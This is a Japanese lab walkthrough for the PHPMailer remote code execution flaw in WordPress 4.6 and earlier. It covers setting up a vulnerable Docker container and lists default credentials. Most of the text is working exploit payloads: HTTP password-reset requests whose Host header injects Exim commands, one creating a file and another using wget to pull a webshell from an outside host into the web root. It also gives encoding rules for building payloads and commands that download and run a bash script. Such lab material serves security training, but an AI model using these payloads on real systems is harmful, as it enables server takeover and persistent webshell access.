
WordPress は PHP 言語で開発されたブログプラットフォームであり、PHP と MySQL データベースをサポートするサーバー上で独自の Web サイトを構築できます。また、WordPress をコンテンツ管理システム(CMS)として使用することもできます。WordPress は PHPMailer コンポーネントを使用してユーザーにメールを送信します。PHPMailer(バージョン < 5.2.18)にはリモートコード実行の脆弱性が存在し、攻撃者は巧妙に悪意のあるメールアドレスを構築するだけで任意のファイルを書き込み、リモートコード実行の被害を引き起こす可能性があります。
WordPress <= 4.6
| 種類 | ユーザー名 | パスワード |
|---|---|---|
| Mysql | root | root |
| /wp-admin/ | admin | admin123 |
$ docker pull medicean/vulapps:w_wordpress_6
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6
-p 8000:80の前の 8000 は物理マシンのポートを表します。任意に指定できます。
http://127.0.0.1:8000 にアクセスして WordPress のメイン画面が表示されれば起動成功です。
ターゲットアドレスが http://127.0.0.1:8000/ の場合:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
返ってくるステータスコードが 200 であれば、/var/www/html/vuln ファイルが正常に作成されたことを意味します。
パケットを送信する前にこのアドレスにアクセスすると、404 が表示されます。
考え方:リモートの HTTP サーバー上にテキストファイルを作成し、wget を使用してターゲットマシンにダウンロードします。
コマンド実行ができるのに、WebShell を送る必要はない
/usr/bin/wget --output-document /var/www/html/webshell.php raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php
注意:
- リモート URL には
http://を含めない- すべての文字は小文字にする
- すべての
/を${substr{0}{1}{$spool_directory}}に置き換える- すべての空白を
${substr{10}{1}{$tod_log}}に置き換える
リクエストは以下のとおりです(実際の状況に応じて user_login を置き換えてください。デフォルトは admin です):
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}webshell.php${substr{10}{1}{$tod_log}}raw.githubusercontent.com${substr{0}{1}{$spool_directory}}medicean${substr{0}{1}{$spool_directory}}vulapps${substr{0}{1}{$spool_directory}}master${substr{0}{1}{$spool_directory}}w${substr{0}{1}{$spool_directory}}wordpress${substr{0}{1}{$spool_directory}}6${substr{0}{1}{$spool_directory}}webshell.php}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
リモートのテキストファイルの内容が bash スクリプトの場合は、ターゲットにダウンロードした後、/bin/bash を使用してそのファイルを直接実行できます。
/usr/bin/wget --output-document /tmp/rce example.com/1.txt
/bin/bash /tmp/rce